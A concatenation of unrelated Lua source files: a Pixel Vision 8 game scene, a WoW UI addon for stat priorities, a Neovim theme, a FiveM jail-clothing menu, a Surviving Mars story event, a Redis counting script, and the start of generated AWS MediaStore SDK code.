if(self.scoreDisplay ~= self.score) then
local diff = math.floor((self.score - self.scoreDisplay) / 4)
if(diff < 5) then
self.scoreDisplay = self.score
else
self.scoreDisplay = self.scoreDisplay + diff
end
end
DrawText(string.padLeft(tostring(Clamp(self.scoreDisplay, 0, 9999)), 4, "0"), Display().X - (6 * 4), Display().Y - 9, DrawMode.SpriteAbove, "medium", 3, -4)
end
-- We can use this function to help making clearing tiles in the map easier. This is called when the player collects the key, gem, or the door is unlocked. It requires a position and an option new sprite id. By default, if no sprite id is provided, the tile will simply be cleared.
function GameScene:ClearTileAt(pos, newId, newFlag)
newId = newId or -1
newFlag = newFlag or -1
local col = math.floor(pos.X/8)
local row = math.floor(pos.Y/8)
Tile(col, row, newId, 0, newFlag)
end
function GameScene:Draw()
if(self.startTimer > -1) then
local message = "IN " .. self.startCount + 1
if(Button(Buttons.Select, InputState.Down) == true) then
message = "EXITING GAME " .. message
elseif(self.lives < 0) then
message = "GAME OVER " .. message
elseif(self.atDoor == true) then
message = "ESCAPING " .. message
else
message = "RESTARTING " .. message
end
DisplayTitle(message, -1, 1)
else
-- TODO this is being called on every draw frame
DisplayTitle(self.title, -1, true)
end
if(self.invalidateLives == true) then
for i = 1, self.maxLives do
DrawMetaSprite("ui-life", i * 8, Display().Y - 9, true, false, DrawMode.TilemapCache, self.lives < i and 1 or 3)
end
self.invalidateLives = false
end
if(self.invalidateKey == true) then
DrawMetaSprite("ui-key", 40, Display().Y - 8, false, false, DrawMode.TilemapCache, self.unlockExit == true and 2 or 1)
self.invalidateKey = false
end
if(self.atDoor == false) then
-- Need to draw the player last since the order of sprite draw calls matters
self.microPlatformer:Draw()
end
end
function GameScene:RestoreTilemap()
local total = #self.originalSprites
for i = 1, total do
local pos = CalculatePosition(i-1, TilemapSize().C)
Tile(pos.X, pos.Y, self.originalSprites[i], 0, -1)
end
end
function GameScene:ReturnToEditor()
self:RestoreTilemap()
SwitchScene(EDITOR)
end
function GameScene:IncreaseScore(value)
self.score = self.score + value
end |
local K, C, L = unpack(select(2, ...))
if IsAddOnLoaded("StatPriority") or IsAddOnLoaded("IcyVeinsStatPriority") or IsAddOnLoaded("ClassSpecStats") then
return
end
local _G = _G
local string_trim = _G.string.trim
local GetSpecializationInfoForClassID = _G.GetSpecializationInfoForClassID
local SlashCmdList = _G.SlashCmdList
local UnitClass = _G.UnitClass
local CreateFrame = _G.CreateFrame
local currentSpecID
local items = {}
local addBtn
local customFrame
-- frame (button)
local frame = CreateFrame("Button", "KKUI_StatPriorityFrame", UIParent)
frame:SetPoint("BOTTOMRIGHT", PaperDollFrame, "TOPRIGHT", -2, 4)
frame:SetParent(PaperDollFrame)
frame:CreateBorder()
frame.title = "Stat Priority (Icy Veins - Patch 9.1)"
K.AddTooltip(frame, "ANCHOR_BOTTOMRIGHT", "Click for more stat priority options", "info")
-- function
local function SetFrame(show)
frame:SetNormalFontObject("KkthnxUIFont")
frame:SetHeight(12 + 7)
if show then
frame:Show()
else
frame:Hide()
end
end
local function SetText(text)
if not text then
return
end
frame:SetText(text)
frame:SetWidth(frame:GetFontString():GetStringWidth() + 20)
end
-- widgets
local function CreateButton(parent, width, height, text)
local b = CreateFrame("Button", nil, parent)
b:SkinButton()
b:SetNormalFontObject(KkthnxUIFont)
b:SetWidth(width)
b:SetHeight(height)
b:SetText(text)
return b
end
-- custom editbox
local function ShowCustomFrame(sp, desc, k, isSelected)
if not customFrame then
customFrame = CreateFrame("Frame", nil, addBtn)
customFrame:Hide()
customFrame:SetSize(280, 50)
customFrame:SetPoint("TOPLEFT", addBtn, "BOTTOMLEFT", 0, -1)
customFrame:SetScript("OnHide", function()
customFrame:Hide()
for _, item in pairs(items) do
if item.del then
item.del:SetEnabled(true)
item.del.KKUI_Background:SetVertexColor(.6, .1, .1, 1)
end
end
end)
customFrame:SetScript("OnShow", function()
for _, item in pairs(items) do
if item.del then
item.del:SetEnabled(false)
item.del.KKUI_Background:SetVertexColor(.4, .4, .4, 1)
end
end
end)
local height = select(2, KkthnxUIFont:GetFont()) + 7
customFrame.eb1 = CreateFrame("EditBox", nil, customFrame)
customFrame.eb1:CreateBorder()
customFrame.eb1:SetFontObject(KkthnxUIFont)
customFrame.eb1:SetMultiLine(false)
customFrame.eb1:SetMaxLetters(0)
customFrame.eb1:SetJustifyH("LEFT")
customFrame.eb1:SetJustifyV("CENTER")
customFrame.eb1:SetWidth(320)
customFrame.eb1:SetHeight(height)
customFrame.eb1:SetTextInsets(5, 5, 0, 0)
customFrame.eb1:SetAutoFocus(false)
customFrame.eb1:SetScript("OnEscapePressed", function()
customFrame.eb1:ClearFocus()
end)
customFrame.eb1:SetScript("OnEnterPressed", function()
customFrame.eb1:ClearFocus()
end)
customFrame.eb1:SetScript("OnEditFocusGained", function()
customFrame.eb1:HighlightText()
end)
customFrame.eb1:SetScript("OnEditFocusLost", function()
customFrame.eb1:HighlightText(0, 0)
end)
customFrame.eb2 = CreateFrame("EditBox", nil, customFrame)
customFrame.eb2:CreateBorder()
customFrame.eb2:SetFontObject(KkthnxUIFont)
customFrame.eb2:SetMultiLine(false)
customFrame.eb2:SetMaxLetters(0)
customFrame.eb2:SetJustifyH("LEFT")
customFrame.eb2:SetJustifyV("CENTER")
customFrame.eb2:SetTextInsets(5, 5, 0, 0)
customFrame.eb2:SetAutoFocus(false)
customFrame.eb2:SetScript("OnEscapePressed", function()
customFrame.eb2:ClearFocus()
end)
customFrame.eb2:SetScript("OnEnterPressed", function()
customFrame.eb2:ClearFocus()
end)
customFrame.eb2:SetScript("OnEditFocusGained", function()
customFrame.eb2:HighlightText()
end)
customFrame.eb2:SetScript("OnEditFocusLost", function()
customFrame.eb2:HighlightText(0, 0)
end)
customFrame.eb2:SetPoint("TOPLEFT", customFrame.eb1, "BOTTOMLEFT", 0, -6)
customFrame.cancelBtn = CreateButton(customFrame, height - 2, height - 2, "×")
customFrame.cancelBtn:SetPoint("TOPRIGHT", customFrame.eb1, "BOTTOMRIGHT", 0, -6)
customFrame.cancelBtn:SetScript("OnClick", function() customFrame:Hide() end)
customFrame.confirmBtn = CreateButton(customFrame, height - 2, height - 2, "√")
customFrame.confirmBtn:SetPoint("RIGHT", customFrame.cancelBtn, "LEFT", -6, 0)
customFrame.eb1:SetPoint("TOPLEFT", 0, -4)
customFrame.eb2:SetPoint("BOTTOMRIGHT", customFrame.confirmBtn, "BOTTOMLEFT", -6, 0)
customFrame.eb1:SetScript("OnTextChanged", function(self)
-- if not userInput then return end
if string_trim(self:GetText()) == "" then
customFrame.eb1.valid = false
else
customFrame.eb1.valid = true
end
if customFrame.eb1.valid and customFrame.eb2.valid then
customFrame.confirmBtn:SetEnabled(true)
customFrame.confirmBtn.KKUI_Background:SetVertexColor(.1, .6, .1, 1)
else
customFrame.confirmBtn:SetEnabled(false)
customFrame.confirmBtn.KKUI_Background:SetVertexColor(.4, .4, .4, 1)
end
end)
customFrame.eb2:SetScript("OnTextChanged", function(self)
-- if not userInput then return end
if string_trim(self:GetText()) == "" then
customFrame.eb2.valid = false
else
customFrame.eb2.valid = true
end
if customFrame.eb1.valid and customFrame.eb2.valid then
customFrame.confirmBtn:SetEnabled(true)
customFrame.confirmBtn.KKUI_Background:SetVertexColor(.1, .6, .1, 1)
else
customFrame.confirmBtn:SetEnabled(false)
customFrame.confirmBtn.KKUI_Background:SetVertexColor(.4, .4, .4, 1)
end
end)
end
-- update db
customFrame.confirmBtn:SetScript("OnClick", function()
if k then -- edit
KkthnxUIDB.StatPriority.Custom[currentSpecID][k] = {
string_trim(customFrame.eb1:GetText()),
string_trim(customFrame.eb2:GetText())
}
if isSelected then -- current shown
SetText(KkthnxUIDB.StatPriority.Custom[currentSpecID][k][1])
end
else
if type(KkthnxUIDB.StatPriority.Custom[currentSpecID]) ~= "table" then
KkthnxUIDB.StatPriority.Custom[currentSpecID] = {}
end
table.insert(KkthnxUIDB.StatPriority.Custom[currentSpecID], {
string_trim(customFrame.eb1:GetText()),
string_trim(customFrame.eb2:GetText())
})
end
customFrame:Hide()
frame:LoadList()
frame:Click()
end)
customFrame.eb1:SetText(sp or "Stat Priority")
customFrame.eb1:ClearFocus()
customFrame.eb2:SetText(desc or "Description")
customFrame.eb2:ClearFocus()
customFrame:Show()
end
-- list button functions
local textWidth = 0
local function AddItem(text, k)
local item = CreateButton(frame, 200, select(2, KkthnxUIFont:GetFont()) + 7, text)
item:Hide()
textWidth = math.max(item:GetFontString():GetStringWidth(), textWidth)
-- highlight texture
item.highlight = item:CreateTexture()
item.highlight:SetColorTexture(.5, 1, 0, 1)
item.highlight:SetSize(5, item:GetHeight() - 2)
item.highlight:SetPoint("LEFT", 1, 0)
item.highlight:Hide()
-- delete/edit button
if k then
item.edit = CreateButton(item, item:GetHeight(), item:GetHeight(), "e")
item.edit:SetPoint("LEFT", item, "RIGHT", 6, 0)
item.edit:SetScript("OnClick", function()
ShowCustomFrame(KkthnxUIDB.StatPriority.Custom[currentSpecID][k][1], KkthnxUIDB.StatPriority.Custom[currentSpecID][k][2], k, KkthnxUIDB.StatPriority["selected"][currentSpecID] == item.n)
end)
item.del = CreateButton(item, item:GetHeight(), item:GetHeight(), "×")
item.del:SetPoint("LEFT", item.edit, "RIGHT", 6, 0)
item.del:SetScript("OnClick", function()
if IsShiftKeyDown() then
-- remove from custom table
table.remove(KkthnxUIDB.StatPriority.Custom[currentSpecID], k)
-- check whether custom table is empty
if #KkthnxUIDB.StatPriority.Custom[currentSpecID] == 0 then
KkthnxUIDB.StatPriority.Custom[currentSpecID] = nil
end
if KkthnxUIDB.StatPriority["selected"][currentSpecID] == item.n then -- current selected
KkthnxUIDB.StatPriority["selected"][currentSpecID] = 1
end
SetText(K:GetSPText(currentSpecID))
frame:LoadList()
frame:Click()
else
K.Print("Shift + Left Click to delete it your custom stat")
end
end)
end
table.insert(items, item)
item.n = #items
item:SetScript("OnHide", function()
item:Hide()
end)
item:SetScript("OnClick", function()
addBtn:Hide()
for _, i in pairs(items) do
i.highlight:Hide()
i:Hide()
end
item.highlight:Show()
KkthnxUIDB.StatPriority["selected"][currentSpecID] = item.n
SetText(K:GetSPText(currentSpecID))
end)
end
-- load list
function frame:LoadList()
textWidth = 0
for _, i in pairs(items) do
i:ClearAllPoints()
i:Hide()
i:SetParent(nil)
end
wipe(items)
-- "+" button
if not addBtn then
addBtn = CreateButton(frame, select(2, KkthnxUIFont:GetFont()) + 7, select(2, KkthnxUIFont:GetFont()) + 7, "+")
end
addBtn:Hide()
addBtn:ClearAllPoints()
addBtn:SetPoint("TOPLEFT", frame, "TOPRIGHT", 6, 0)
addBtn:SetScript("OnHide", function()
addBtn:Hide()
end)
addBtn:SetScript("OnClick", function()
ShowCustomFrame()
end)
local desc = K:GetSPDesc(currentSpecID)
if not desc then
return
end
for k, t in pairs(desc) do
AddItem(t[1], t[2])
if k == 1 then
items[1]:SetPoint("TOPLEFT", frame, "TOPRIGHT", 6, 0)
else
items[k]:SetPoint("TOP", items[k-1], "BOTTOM", 0, -6)
end
end
-- re-set "+" buttona point
addBtn:ClearAllPoints()
addBtn:SetPoint("TOPLEFT", items[#items], "BOTTOMLEFT", 0, -6)
-- update width
for _, i in pairs(items) do
i:SetWidth(textWidth + 20)
end
-- highlight selected
if KkthnxUIDB.StatPriority["selected"][currentSpecID] then
items[KkthnxUIDB.StatPriority["selected"][currentSpecID]].highlight:Show()
else -- highlight first
items[1].highlight:Show()
end
end
-- frame OnClick
frame:SetScript("OnClick", function()
for _, i in pairs(items) do
if i:IsShown() then
i:Hide()
else
i:Show()
end
end
if addBtn:IsShown() then
addBtn:Hide()
else
addBtn:Show()
end
end)
-- event
frame:RegisterEvent("ADDON_LOADED")
frame:RegisterEvent("PLAYER_LOGIN")
frame:RegisterEvent("ACTIVE_TALENT_GROUP_CHANGED")
frame:SetScript("OnEvent", function(self, event, ...)
if not C["Misc"].PriorityStats then
return
end
self[event](self, ...)
end)
function frame:ADDON_LOADED(arg1)
if arg1 == "KkthnxUI" then
if type(KkthnxUIDB.StatPriority.Custom) ~= "table" then
KkthnxUIDB.StatPriority.Custom = {}
end
if type(KkthnxUIDB.StatPriority) ~= "table" then
KkthnxUIDB.StatPriority = {}
end
if type(KkthnxUIDB.StatPriority["show"]) ~= "boolean" then
KkthnxUIDB.StatPriority["show"] = true
end
if type(KkthnxUIDB.StatPriority["selected"]) ~= "table" then
KkthnxUIDB.StatPriority["selected"] = {}
end
SetFrame(KkthnxUIDB.StatPriority["show"])
end
end
function frame:PLAYER_LOGIN()
currentSpecID = GetSpecializationInfoForClassID(select(3, UnitClass("player")), GetSpecialization())
SetText(K:GetSPText(currentSpecID))
self:LoadList()
end
function frame:ACTIVE_TALENT_GROUP_CHANGED()
local specID = GetSpecializationInfoForClassID(select(3, UnitClass("player")), GetSpecialization())
if specID ~= currentSpecID then
currentSpecID = specID
SetText(K:GetSPText(currentSpecID))
self:LoadList()
end
end |
-- 'sindrets/winshift.nvim'
return function(c, s)
return {
{ { 'WinShiftNormal', 'WinShiftEndOfBuffer' }, c.none, c.dark_black_alt },
{ 'WinShiftLineNr', c.yellow, c.dark_black_alt },
{ 'WinShiftCursorLineNr', c.yellow, c.dark_black_alt, s.bold },
{ 'WinShiftSignColumn', c.cyan, c.dark_black_alt },
{ 'WinShiftWindowPicker', c.purple, c.blue, s.bold },
{ 'WinShiftFoldColumn', c.cyan, c.dark_black_alt },
}
end
|
local Keys = {
["ESC"] = 322, ["BACKSPACE"] = 177, ["E"] = 38, ["ENTER"] = 18, ["LEFT"] = 174, ["RIGHT"] = 175, ["TOP"] = 27, ["DOWN"] = 173
}
local menuIsShowed = false
local hasAlreadyEnteredMarker = false
local lastZone = nil
local isInjaillistingMarker = false
ESX = nil
Citizen.CreateThread(function()
while ESX == nil do
TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end)
Citizen.Wait(0)
end
end)
function ShowJailListingMenu(data)
ESX.UI.Menu.CloseAll()
ESX.UI.Menu.Open(
'default', GetCurrentResourceName(), 'jaillisting',
{
title = _U('jail_center'),
elements = {
{label = _U('citizen_wear'), value = 'citizen_wear'},
{label = _U('jail_wear'), value = 'jail_wear'},
},
},
function(data, menu)
local ped = GetPlayerPed(-1)
menu.close()
if data.current.value == 'citizen_wear' then
ESX.TriggerServerCallback('esx_skin:getPlayerSkin', function(skin, jailSkin)
TriggerEvent('skinchanger:loadSkin', skin)
end)
end
if data.current.value == 'jail_wear' then
ESX.TriggerServerCallback('esx_skin:getPlayerSkin', function(skin, jailSkin)
if skin.sex == 0 then
SetPedComponentVariation(GetPlayerPed(-1), 3, 5, 0, 0)--Gants
SetPedComponentVariation(GetPlayerPed(-1), 4, 9, 4, 0)--Jean
SetPedComponentVariation(GetPlayerPed(-1), 6, 61, 0, 0)--Chaussure
SetPedComponentVariation(GetPlayerPed(-1), 11, 5, 0, 0)--Veste
SetPedComponentVariation(GetPlayerPed(-1), 8, 15, 0, 0)--GiletJaune
elseif skin.sex == 1 then
SetPedComponentVariation(GetPlayerPed(-1), 3, 14, 0, 0)--Gants
SetPedComponentVariation(GetPlayerPed(-1), 4, 3, 15, 0)--Jean
SetPedComponentVariation(GetPlayerPed(-1), 6, 52, 0, 0)--Chaussure
SetPedComponentVariation(GetPlayerPed(-1), 11, 73, 0, 0)--Veste
SetPedComponentVariation(GetPlayerPed(-1), 8, 14, 0, 0)--GiletJaune
else
TriggerEvent('skinchanger:loadClothes', skin, jailSkin.skin_female)
end
end)
end
end,
function(data, menu)
menu.close()
end
)
end
AddEventHandler('eden_jail:hasExitedMarker', function(zone)
ESX.UI.Menu.CloseAll()
end)
-- Display markers
Citizen.CreateThread(function()
while true do
Wait(0)
local coords = GetEntityCoords(GetPlayerPed(-1))
for i=1, #Config.Zones, 1 do
if(GetDistanceBetweenCoords(coords, Config.Zones[i].x, Config.Zones[i].y, Config.Zones[i].z, true) < Config.DrawDistance) then
DrawMarker(Config.MarkerType, Config.Zones[i].x, Config.Zones[i].y, Config.Zones[i].z, 0.0, 0.0, 0.0, 0, 0.0, 0.0, Config.ZoneSize.x, Config.ZoneSize.y, Config.ZoneSize.z, Config.MarkerColor.r, Config.MarkerColor.g, Config.MarkerColor.b, 100, false, true, 2, false, false, false, false)
end
end
end
end)
-- Activate menu when player is inside marker
Citizen.CreateThread(function()
while true do
Wait(0)
local coords = GetEntityCoords(GetPlayerPed(-1))
isInJaillistingMarker = false
local currentZone = nil
for i=1, #Config.Zones, 1 do
if(GetDistanceBetweenCoords(coords, Config.Zones[i].x, Config.Zones[i].y, Config.Zones[i].z, true) < Config.ZoneSize.x) then
isInJaillistingMarker = true
SetTextComponentFormat('STRING')
AddTextComponentString(_U('access_jail_center'))
DisplayHelpTextFromStringLabel(0, 0, 1, -1)
end
end
if isInJaillistingMarker and not hasAlreadyEnteredMarker then
hasAlreadyEnteredMarker = true
end
if not isInJaillistingMarker and hasAlreadyEnteredMarker then
hasAlreadyEnteredMarker = false
TriggerEvent('eden_jail:hasExitedMarker')
end
end
end)
-- Menu Controls
Citizen.CreateThread(function()
while true do
Wait(0)
if IsControlJustReleased(0, Keys['E']) and isInJaillistingMarker and not menuIsShowed then
ShowJailListingMenu()
end
end
end)
|
-- ========== THIS IS AN AUTOMATICALLY GENERATED FILE! ==========
PlaceObj('StoryBit', {
ActivationEffects = {},
Category = "Tick_FounderStageDone",
Effects = {},
Enabled = true,
Image = "UI/Messages/Events/09_fireworks.tga",
Prerequisites = {
PlaceObj('IsSolInRange', {
'Max', 80,
}),
},
ScriptDone = true,
Text = T(784882052902, --[[StoryBit Party Text]] "Small groups of people talk and laugh, while others dance to the groovy music. Someone sees you and the music stops abruptly. Everyone is looking slightly guilty."),
TextReadyForValidation = true,
TextsDone = true,
Title = T(683841873799, --[[StoryBit Party Title]] "Party!"),
VoicedText = T(949723673521, --[[voice:narrator]] "The door of the command room opens and you’re hit by the loud noise. A party!"),
group = "Colonists",
id = "Party",
qa_info = PlaceObj('PresetQAInfo', {
data = {
{
action = "Modified",
time = 1625144391,
},
},
}),
PlaceObj('StoryBitParamNumber', {
'Name', "morale_bonus",
'Value', 10,
}),
PlaceObj('StoryBitParamSols', {
'Name', "morale_duration",
'Value', 7200000,
}),
PlaceObj('StoryBitParamNumber', {
'Name', "comfort_bonus",
'Value', 15,
}),
PlaceObj('StoryBitReply', {
'Text', T(446442320434, --[[StoryBit Party Text]] "I expect the maintenance and efficiency reports on my desk by 11:00 local time."),
}),
PlaceObj('StoryBitOutcome', {
'Prerequisites', {},
'Title', T(139200594944, --[[StoryBit Party Title]] "Party!"),
'VoicedText', T(827831603659, --[[voice:narrator]] "Recreation is important, but duties, especially the duties of Mission Control, must never be forgotten."),
'Text', T(315003773008, --[[StoryBit Party Text]] "Under your harsh gaze, the team cleans up the control room and attend their action stations. You take your seat – there’s work to do.\n\n<effect>+<morale_bonus> Morale for <sols(morale_duration)> Sols for all Colonists"),
'Effects', {
PlaceObj('ForEachExecuteEffects', {
'Label', "Colonist",
'Filters', {},
'Effects', {
PlaceObj('ModifyObject', {
'Prop', "base_morale",
'Amount', "<morale_bonus>",
'Sols', "<morale_duration>",
}),
},
}),
},
}),
PlaceObj('StoryBitReply', {
'Text', T(880306212271, --[[StoryBit Party Text]] "What is this, a party? Who gave you permission?"),
}),
PlaceObj('StoryBitOutcome', {
'Prerequisites', {},
'Title', T(877213074013, --[[StoryBit Party Title]] "Party!"),
'VoicedText', T(224796459286, --[[voice:narrator]] "Your harsh words hit them like a scourge. But they were necessary."),
'Text', T(123273551090, --[[StoryBit Party Text]] "Mars is like a death-trap, ready to snap shut when you least expect it. Your people need to learn that you will never compromise the safety and success of the colony.\n\n<effect>+<morale_bonus> Morale for <sols(morale_duration)> Sols for all Colonists"),
'Effects', {
PlaceObj('ForEachExecuteEffects', {
'Label', "Colonist",
'Filters', {},
'Effects', {
PlaceObj('ModifyObject', {
'Prop', "base_morale",
'Amount', "<morale_bonus>",
'Sols', "<morale_duration>",
}),
},
}),
},
}),
PlaceObj('StoryBitReply', {
'Text', T(602410299958, --[[StoryBit Party Text]] "Smile and wave, then leave them have it their way."),
}),
PlaceObj('StoryBitOutcome', {
'Prerequisites', {},
'Title', T(877213074013, --[[StoryBit Party Title]] "Party!"),
'VoicedText', T(757158290187, --[[voice:narrator]] "The Mission Control team had a pretty rough time so far. They earned the right to vent off some steam."),
'Text', T(556254556363, --[[StoryBit Party Text]] "But you know that Mars is still out there, stalking for a good moment to strike at your colony and take its toll. You leave your people have fun, and you return to your personal control station. Someone has to be on vigil.\n\n<effect>+<comfort_bonus> Comfort for all Colonists"),
'Effects', {
PlaceObj('ForEachExecuteEffects', {
'Label', "Colonist",
'Filters', {},
'Effects', {
PlaceObj('ModifyColonistStat', {
'Stat', "Comfort",
'Amount', "<comfort_bonus>",
}),
},
}),
},
}),
PlaceObj('StoryBitReply', {
'Text', T(752382845123, --[[StoryBit Party Text]] "The secret booze stash is in this locker."),
}),
PlaceObj('StoryBitOutcome', {
'Prerequisites', {},
'Title', T(250328973952, --[[StoryBit Party Title]] "Party!"),
'VoicedText', T(921949943478, --[[voice:narrator]] "You have to admit, your team needed to vent off some steam."),
'Text', T(199287635635, --[[StoryBit Party Text]] 'You join the argument of the Engineers about some nuts and bolts, then discuss the hilariously-crafted fake hypothesis of the Scientists and even taste some of the allegedly "hangover-free" moonshine of the Botanists. Who knows, there might be a grain of truth there - next morning you wake up with a smile and a light heart.\n\n<effect>+<comfort_bonus> Comfort for all Colonists'),
'Effects', {
PlaceObj('ForEachExecuteEffects', {
'Label', "Colonist",
'Filters', {},
'Effects', {
PlaceObj('ModifyColonistStat', {
'Stat', "Comfort",
'Amount', "<comfort_bonus>",
}),
},
}),
},
}),
PlaceObj('StoryBitReply', {
'Text', T(786481891870, --[[StoryBit Party Text]] "How unprofessional! You call this dancing? Let me show you!"),
}),
PlaceObj('StoryBitOutcome', {
'Prerequisites', {},
'Title', T(877213074013, --[[StoryBit Party Title]] "Party!"),
'VoicedText', T(810989908988, --[[voice:narrator]] "You couldn’t remember the last time you had so much fun!"),
'Text', T(441726918291, --[[StoryBit Party Text]] "And to be honest, when you wake up in the morning, you couldn’t remember what you did at the party last night. You take the headache as a positive sign while you’re trying to reach your action station. People that see you in the corridors give you warm smiles.\n\n<effect>+<comfort_bonus> Comfort for all Colonists"),
'Effects', {
PlaceObj('ForEachExecuteEffects', {
'Label', "Colonist",
'Filters', {},
'Effects', {
PlaceObj('ModifyColonistStat', {
'Stat', "Comfort",
'Amount', "<comfort_bonus>",
}),
},
}),
},
}),
})
|
-------------- Function to simulate inheritance -------------------------------------
-- local function inheritsFrom( baseClass )
-- local new_class = {}
-- local class_mt = { __index = new_class }
-- if baseClass then
-- setmetatable( new_class, { __index = baseClass } )
-- end
-- return new_class
-- end
---------- Array methods ---------------------------
local function concatToArray(a1, a2)
for i = 1, #a2 do
a1[#a1 + 1] = a2[i]
end
return a1
end
local function flattenArray(arr)
local flat = {}
for i = 1, #arr do
if type(arr[i]) == "table" then
local inner_flatten = flattenArray(arr[i])
concatToArray(flat, inner_flatten)
else
flat[#flat + 1] = arr[i]
end
end
return flat
end
local function dupArray(arr)
local dup = {}
for i = 1, #arr do
dup[i] = arr[i]
end
return dup
end
-----------------------------------------------------
-------------- Base Class ---------------------------------------------------------
local Base = {}
function Base:new(_obj_type, ids, _type)
local redis_key = _obj_type
for k, id in ipairs(ids) do
redis_key = redis_key .. "_" .. id
end
local baseObj = { redis_key = redis_key, _type = _type, _ids = ids, _obj_type = _obj_type }
self.__index = self
return setmetatable(baseObj, self)
end
function Base:count(key, num)
local allKeys = flattenArray({ key })
for i, curKey in ipairs(allKeys) do
if self._type == "set" then
redis.call("ZINCRBY", self.redis_key, num, curKey)
else
redis.call("HINCRBY", self.redis_key, curKey, num)
end
end
end
function Base:expire(ttl)
if redis.call("TTL", self.redis_key) == -1 then
redis.call("EXPIRE", self.redis_key, ttl)
end
end
----------------- Custom Methods -------------------------
function Base:conditionalCount(should_count, key)
if should_count ~= "0" and should_count ~= "false" then
self:count(key, 1)
end
end
function Base:countIfExist(value, should_count, key)
if value and value ~= "" and value ~= "null" and value ~= "nil" then
self:conditionalCount(should_count, key)
end
end
function Base:sevenDaysCount(should_count, key)
if should_count ~= "0" and should_count ~= "false" then
local first_day = tonumber(self._ids[3])
for day = 0, 6, 1 do
local curDayObjIds = dupArray(self._ids)
if (first_day + day) > 365 then
curDayObjIds[4] = string.format("%03d", (tonumber(curDayObjIds[4]) + 1) )
end
local curDayObj = Base:new(self._obj_type, curDayObjIds, self._type)
curDayObj:count(key, 1)
curDayObj:expire(1209600) -- expire in 2 weeks
end
end
end
function Base:countAndSetIf(should_count, countKey, redisKey, setKey)
if should_count ~= "0" and should_count ~= "false" then
self:count(countKey, 1)
local setCount = redis.call("ZCOUNT", self.redis_key, "-inf", "+inf")
redis.call("HSET", redisKey, setKey, setCount)
end
end
----------------------------------------------------------
------------- Helper Methods ------------------------
-- return an array with all the values in tbl that match the given keys array
local function getValueByKeys(tbl, keys)
local values = {}
if type(keys) == "table" then
for i, key in ipairs(keys) do
table.insert(values, tbl[key])
end
else
table.insert(values, tbl[keys])
end
return values
end
-- parse key and replace "place holders" with their value from tbl.
-- matching replace values in tbl can be arrays, in such case an array will be returned with all the possible keys combinations
local function addValuesToKey(tbl, key)
local rslt = { key }
local match = key:match("{[%w_]*}")
while match do
local subStrings = flattenArray({ tbl[match:sub(2, -2)] })
local tempResult = {}
for i, subStr in ipairs(subStrings) do
local dup = dupArray(rslt)
for j, existingKey in ipairs(dup) do
local curKey = existingKey:gsub(match, subStr)
dup[j] = curKey
end
concatToArray(tempResult, dup)
end
rslt = tempResult
if #rslt > 0 then
match = rslt[1]:match("{[%w_]*}")
else
match = nil
end
end
if #rslt == 1 then
return rslt[1]
else
return rslt
end
end
--------------------------------------------------
local mode = ARGV[2] or "live"
local arg = ARGV[1]
local params = cjson.decode(arg)
local config = cjson.decode(redis.call("get", "von_count_config_".. mode))
local action = params["action"]
local defaultMethod = { change = 1, custom_functions = {} }
local action_config = config[action]
if action_config then
for obj_type, methods in pairs(action_config) do
for i, defs in ipairs(methods) do
setmetatable(defs, { __index = defaultMethod })
local ids = getValueByKeys(params, defs["id"])
local _type = defs["type"] or "hash"
local obj = Base:new(obj_type, ids, _type)
if defs["count"] then
local key = addValuesToKey(params, defs["count"])
local change = defs["change"]
obj:count(key, change)
end
for j, custom_function in ipairs(defs["custom_functions"]) do
local function_name = custom_function["name"]
local args = {}
for z, arg in ipairs(custom_function["args"]) do
local arg_value = addValuesToKey(params, arg)
table.insert(args, arg_value)
end
obj[function_name](obj, unpack(args))
end
if defs["expire"] then
obj:expire(defs["expire"])
end
end
end
end
|
--- GENERATED CODE - DO NOT MODIFY
-- AWS Elemental MediaStore (mediastore-2017-09-01)
local M = {}
M.metadata = {
api_version = "2017-09-01",
json_version = "1.1",
protocol = "json",
checksum_format = "",
endpoint_prefix = "mediastore",
service_abbreviation = "MediaStore",
service_full_name = "AWS Elemental MediaStore",
signature_version = "v4",
target_prefix = "MediaStore_20170901",
timestamp_format = "",
global_endpoint = "",
uid = "mediastore-2017-09-01",
}
local keys = {}
local asserts = {}
keys.Container = { ["Status"] = true, ["Endpoint"] = true, ["CreationTime"] = true, ["Name"] = true, ["ARN"] = true, nil }
function asserts.AssertContainer(struct)
assert(struct)
assert(type(struct) == "table", "Expected Container to be of type 'table'")
if struct["Status"] then asserts.AssertContainerStatus(struct["Status"]) end
if struct["Endpoint"] then asserts.AssertEndpoint(struct["Endpoint"]) end
if struct["CreationTime"] then asserts.AssertTimeStamp(struct["CreationTime"]) end
if struct["Name"] then asserts.AssertContainerName(struct["Name"]) end
if struct["ARN"] then asserts.AssertContainerARN(struct["ARN"]) end
for k,_ in pairs(struct) do
assert(keys.Container[k], "Container contains unknown key " .. tostring(k))
end
end
--- Create a structure of type Container
-- <p>This section describes operations that you can perform on an AWS Elemental MediaStore container.</p>
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * Status [ContainerStatus] <p>The status of container creation or deletion. The status is one of the following: <code>CREATING</code>, <code>ACTIVE</code>, or <code>DELETING</code>. While the service is creating the container, the status is <code>CREATING</code>. When the endpoint is available, the status changes to <code>ACTIVE</code>.</p>
-- * Endpoint [Endpoint] <p>The DNS endpoint of the container. Use the endpoint to identify the specific container when sending requests to the data plane. The service assigns this value when the container is created. Once the value has been assigned, it does not change.</p>
-- * CreationTime [TimeStamp] <p>Unix timestamp.</p>
-- * Name [ContainerName] <p>The name of the container.</p>
-- * ARN [ContainerARN] <p>The Amazon Resource Name (ARN) of the container. The ARN has the following format:</p> <p>arn:aws:<region>:<account that owns this container>:container/<name of container> </p> <p>For example: arn:aws:mediastore:us-west-2:111122223333:container/movies </p>
-- @return Container structure as a key-value pair table
function M.Container(args)
assert(args, "You must provide an argument table when creating Container")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["Status"] = args["Status"],
["Endpoint"] = args["Endpoint"],
["CreationTime"] = args["CreationTime"],
["Name"] = args["Name"],
["ARN"] = args["ARN"],
}
asserts.AssertContainer(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.ContainerNotFoundException = { ["Message"] = true, nil }
function asserts.AssertContainerNotFoundException(struct)
assert(struct)
assert(type(struct) == "table", "Expected ContainerNotFoundException to be of type 'table'")
if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end
for k,_ in pairs(struct) do
assert(keys.ContainerNotFoundException[k], "ContainerNotFoundException contains unknown key " .. tostring(k))
end
end
--- Create a structure of type ContainerNotFoundException
-- <p>Could not perform an operation on a container that does not exist.</p>
-- @param args Table with arguments in key-value form.
